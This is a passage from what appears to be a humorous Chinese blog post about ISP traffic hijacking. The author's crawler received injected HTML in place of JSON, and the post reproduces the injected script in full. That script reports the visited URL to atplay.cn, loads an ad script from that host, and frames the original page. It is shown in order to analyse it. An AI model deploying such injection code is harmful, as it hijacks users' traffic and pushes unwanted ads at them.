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副标题[/!--empirenews.page--]
运营商劫持，是常见的流氓手段，它们老少通吃，连孩子都不放过，经常嚣张的在右下角或者网页头尾，弹出一些羞羞的广告。这让正在辅导孩子功课的妈妈，很难解释。
一、前言
一道经典面试题：当你输入一个网址后回车，实际会发生什么?
那得看输的啥网址，淘宝剁手、百度伤身、腾讯伤肾……
二、神秘的返回
那日风和日丽、万里无云，延迟退到不足50ms，是个散养爬虫的好日子~
与往常相同，一通风骚操作，数据便如百川入海般成功落库。刚想泡杯咖啡，瞧瞧久违的天空，一道绵长的报错信息就宛如拉稀般泼向屏幕!
草(一种植物)，莫不是被发现了?赶紧看看
草!(一种强大植物) 。这是个啥?原以为会返回异常状态码，或者错误json，再不济是伪数据，没想到连数据格式都改了，整了一HTML丢过来?
可这接口，明明都是json。
喝口白水想安抚下结果烫了嘴……思前想后。产品光喝酒不吃菜也不能下这需求，再说我这小蚊子不至于拿炮轰吧。
一定 有!——问!——题!
暴起捞日志，查看频率。大约10道请求有一道异常，于是顺手拿到全部HTML代码。让我们学习一下…
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <meta id="viewport" name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
- </head>
- <script>
- window["$$$wins_pm"] = {
- "a": "https://atplay.cn/banner/indexsd.aspx",
- "m": "http://baidu.com/",
- "_xus": "YBsOw1mgMPSOdBFpMBFjYBQjMZSjMBsXM3gO",
- "_xai": "0"
- };
-
- var xp=null,key="d=123",lo=location.href,ho=false;
- function cu(u){
- var p=u.indexOf("?");
- if(p>0)
- u=u.slice(0,p+1)+key+"&"+u.slice(p+1);
- else
- u+="?"+key;
- return u;
-
- }
-
- function Base64() {
- _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
- this.encode = function(input) {
- var output = "";
- var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
- var i = 0;
- input = _utf8_encode(input);
- while (i < input.length) {
- chr1 = input.charCodeAt(i++);
- chr2 = input.charCodeAt(i++);
- chr3 = input.charCodeAt(i++);
- enc1 = chr1 >> 2;
- enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
- enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
- enc4 = chr3 & 63;
- if (isNaN(chr2)) {
- enc3 = enc4 = 64
- } else if (isNaN(chr3)) {
- enc4 = 64
- }
- output = output + _keyStr.charAt(enc1) + _keyStr.charAt(enc2) + _keyStr.charAt(enc3) + _keyStr.charAt(enc4)
- }
- return output
- };
- this.decode = function(input) {
- var output = "";
- var chr1, chr2, chr3;
- var enc1, enc2, enc3, enc4;
- var i = 0;
- input = input.replace(/[^A-Za-z0-9+/=]/g, "");
- while (i < input.length) {
- enc1 = _keyStr.indexOf(input.charAt(i++));
- enc2 = _keyStr.indexOf(input.charAt(i++));
- enc3 = _keyStr.indexOf(input.charAt(i++));
- enc4 = _keyStr.indexOf(input.charAt(i++));
- chr1 = (enc1 << 2) | (enc2 >> 4);
- chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
- chr3 = ((enc3 & 3) << 6) | enc4;
- output = output + String.fromCharCode(chr1);
- if (enc3 != 64) {
- output = output + String.fromCharCode(chr2)
- }
- if (enc4 != 64) {
- output = output + String.fromCharCode(chr3)
- }
- }
- output = _utf8_decode(output);
- return output
- };
- _utf8_encode = function(string) {
- string = string.replace(/rn/g, "n");
- var utftext = "";
- for (var n = 0; n < string.length; n++) {
- var c = string.charCodeAt(n);
- if (c < 128) {
- utftext += String.fromCharCode(c)
- } else if ((c > 127) && (c < 2048)) {
- utftext += String.fromCharCode((c >> 6) | 192);
- utftext += String.fromCharCode((c & 63) | 128)
- } else {
- utftext += String.fromCharCode((c >> 12) | 224);
- utftext += String.fromCharCode(((c >> 6) & 63) | 128);
- utftext += String.fromCharCode((c & 63) | 128)
- }
- }
- return utftext
- };
- _utf8_decode = function(utftext) {
- var string = "";
- var i = 0;
- var c = c1 = c2 = 0;
- while (i < utftext.length) {
- c = utftext.charCodeAt(i);
- if (c < 128) {
- string += String.fromCharCode(c);
- i++
- } else if ((c > 191) && (c < 224)) {
- c2 = utftext.charCodeAt(i + 1);
- string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
- i += 2
- } else {
- c2 = utftext.charCodeAt(i + 1);
- c3 = utftext.charCodeAt(i + 2);
- string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
- i += 3
- }
- }
- return string
- }
- }
- window["__BASE64"] = new Base64();
-
- function getURLwithParams() {
- var url = "";
- if ($$$wins_pm.a.indexOf('?') > 0) {
- url = $$$wins_pm.a + "&_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai;
- } else {
- url = $$$wins_pm.a + "?_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai;
- }
- return url;
- }
- function goURLm() {
- var desturl = $$$wins_pm.m;
- if (desturl.slice(desturl.length - 1) == "/") desturl = desturl.slice(0, desturl.length - 1);
- return "<html></head><script>document.location.replace("" + desturl + "");</script></html>"
- };
- </script>
- <body style="margin:0;padding:0;">
- <!--<div style="display: none;"><script src="https://s6.cnzz.com/z_stat.php?id=722749&web_id=722749" language="JavaScript"></script></div>-->
- <script type="text/javascript" src="https://atplay.cn/banner/indexsd.js"></script>
- <div style="width:100%;height:100%;-webkit-overflow-scrolling:touch;overflow-y:scroll;">
- <iframe id='ifrmain' src='JavaScript:parent.goURLm()' scrolling=auto width='100%' height='100%' frameborder='no' onload=''></iframe>
- </div>
- </body>
- </html>
三、真相大白
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